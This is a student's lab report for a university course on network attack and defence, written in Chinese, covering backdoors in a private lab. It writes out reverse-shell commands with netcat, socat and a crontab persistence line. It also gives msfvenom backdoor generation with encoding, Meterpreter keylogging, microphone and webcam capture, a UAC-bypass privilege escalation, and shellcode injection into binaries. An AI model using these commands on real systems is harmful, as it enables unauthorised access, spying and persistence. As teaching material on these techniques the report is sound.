20192406梁健 2021-2022-2 《网络与系统攻防技术》实验二实验报告
20192406梁健 2021-2022-2 《网络与系统攻防技术》实验二实验报告
1.实验内容
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
2.实验过程
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
1) Win获取Linux的Shell
-
Win打开监听,指令为
ncat.exe -l -p 8888
-
kali反弹连接Win,指令为
nc 192.168.10.181 8888 -e /bin/sh
-
Win获得Linux的Shell。可以执行指令Linux指令ls
2) cron启动某项任务
-
Win打开监听,指令为
ncat.exe -l -p 8888
-
kali这里输入指令
crontab -e
,选择nano,在最后一行添加* * * * * /bin/netcat 192.168.10.181 8888 -e /bin/sh
(每分钟获取Shell),到时间Win就获得了Shell
(2)使用socat获取Win操作Shell, 任务计划启动
1) 在Win中创建任务计划程序
- 右击此电脑,点击管理,点击任务计划程序,再点击创建任务,填写任务名,新建一个触发器,选择按预定计划
- 点击操作,选择socat.exe的路径,在添加参数一栏填写
tcp-listen:8888 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口8888,同时把cmd.exe的stderr重定向到stdout上:
- 完成可看到计划准备就绪,到预定时间可先发现任务已执行,会弹出socat.exe窗口
2) 在kali上执行指令获取Win的Shell
- 此时不要关闭窗口,并在kali上输入命令
socat - tcp:192.168.10.181:8888
,成功获取Win的Shell
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1) 使用MSF meterpreter生成可执行文件
- 生成backdoor.exe,在kali中输入命令
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 -b '\x00' LHOST=192.168.192.128 LPORT=443 -f exe > backdoor.exe
2) 使用ncat传送可执行文件
- 在Win下执行
ncat.exe -l 5201 > backdoor.exe
,Win进入了接收模式,在kali中执行nc 192.168.192.1 5201 < backdoor.exe
(192.168.192.1为Win的IP)
3) 通过msfconsole获取Win的Shell
-
在kali上使用
msfconsole
指令进入msf控制台 -
使用监听模块,输入
use exploit/multi/handler
-
设置payload:
set payload windows/meterpreter/reverse_tcp
-
设置反弹连接IP(kali):
set LHOST 192.168.192.128
-
设置端口:
set LPORT 5201
- 完成上面的操作后,输入指令
exploit
,执行Win的backdoor.exe。之后kali就获得了Win的Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 获取Win音频,输入指令
record_mic
- 使用摄像头进行拍照,输入指令
webcam_snap
- 记录击键过程指令
keyscan_start
,读取击键记录指令keyscan_dump
- 尝试提权,查看当前用户指令
getuid
,提权操作指令getsystem
可以看到提权失败,因为被攻击的主机为Win10,只靠提权指令无法实现权限的提高。
- 但是,当后门程序被改成
install.exe
后,提权操作指令就可以执行了。原因可能是具有迷惑性的名字被系统认为需要管理员权限才能执行。但是由于我的电脑设置了用户账户控制--从不通知
,该程序会默认按管理员权限执行,即默认绕过UAC。当我调整设置后,再次执行该程序提示我是否确认,这就是没有绕过UAC。
改名及提权成功
用户权限控制
- 在花费了较长时间后,我在网上查找到了一篇绕过UAC进行Win10提权的贴子https://blog.csdn.net/tomy2426214836/article/details/99982772?utm_term=msf%E4%B8%AD%E7%9A%84win10%20%E6%8F%90%E6%9D%83%E6%A8%A1%E5%9D%97&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2allsobaiduweb~default-2-99982772&spm=3001.4430,基于这篇帖子的内容我成功实现了提权。
首先使用msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=1000 -f exe -o met.exe
生成了无特殊命名的后门程序met.exe
。
然后将后门程序传到Win10上,打开控制台msfconsole
,设置payload等进行初步获取shell,此时使用getsystem
会失败。接着使用background
切换到另一个界面,此时会话session
为1
使用use exploit/windows/local/bypassuac_eventvw
进入绕过uac方法路径进行进一步提权,此时使用options
查看需要配置的内容,提示需要配置session
,这时需要提供一个普通连接的会话,就是上面的初步连接会话1,输入set session 1
,之后执行exploit
,会生成一个新的会话,即session 2。此时再次提权发现提权成功了。
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
通过网络知识可知payload是shellcode的一部分,因此基本方法是通过使用类似msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
这样的命令将shellcode注入pwn1中,得到新的可执行程序,让被攻击方执行来获取shell。
想要实现上面的想法,需要确定payload应该是什么?通过msfvenom -l payload
命令可以查看msfvenom支持的所有payload,根据pwn1是linux下的32位文件且要获取反弹连接shell,可以找到适合的payload为linux/x86/meterpreter/reverse_tcp
。
通过命令msfvenom -p linux/x86/meterpreter/reverse_tcp --list-options
查看payload需要配置的options
,可以看到需要配置LHOST
,LPORT
使用默认的4444
。
再者由于该文件为Linux文件,所以-f
后使用的参数应为elf
。
由上述内容,得到最终指令:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4444 -x ./pwn20192406 -f elf > pwn20192406shellcode
kali的执行过程和效果如下:
3.问题及解决方案
-
问题1:socat软件的指令参数不知道。
-
问题1解决方案:上网查找socat指令参数https://wenku.baidu.com/view/13080211ff00bed5b9f31ddb.html
-
问题2:Win10提权失败。
-
问题2解决方案:可能不同的电脑设置会导致不同的结果,我同学的电脑就是失败了,但我的成功了。参考教程https://blog.csdn.net/tomy2426214836/article/details/99982772?utm_term=msf%E4%B8%AD%E7%9A%84win10%20%E6%8F%90%E6%9D%83%E6%A8%A1%E5%9D%97&utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2allsobaiduweb~default-2-99982772&spm=3001.4430
-
问题3:生成注入shellcode的程序后,该程序无法执行,提示权限不够。
-
问题3解决方案:使用提权指令
chmod u+x *
对该程序提权,使其可执行。
回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
使用钓鱼攻击,比如发给用户一个诱导邮件,让用户下载,然后植入后门程序。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:可以将后门伪装成熟悉的软件,引诱用户点击。
linux:可以将后门放入开机自启动程序中。
(3)Meterpreter有哪些给你映像深刻的功能?
印象深刻的功能就是可以使用各种高级的payload,通过这些payload可以简单的实现各种功能,比如实现实验一正常方法要做很久且很复杂,但使用这个方法就非常简单和快速。
(4)如何发现自己有系统有没有被安装后门?
通过高级杀毒软件查杀,检查CPU资源利用无有异常,检查系统中有无特殊的文件等等。
4.学习感悟、思考等
通过本次实验我学到了很多制作后门的知识,并在实践层面将所学内容付诸实现,在实验中我通过简单的指令就可以轻松获取被攻击主机的shell连接,学习了这些知识后,我更加对现在的网络环境担忧,黑客可以通过一些便捷工具轻松攻击别人的主机,对其进行怕破坏,一旦这些犯罪分子肆意妄为,很容易对我国的各种基础设施构成潜在威胁,所以要严格管控网络空间,利用更高级的技术手段保护网络空间的安全。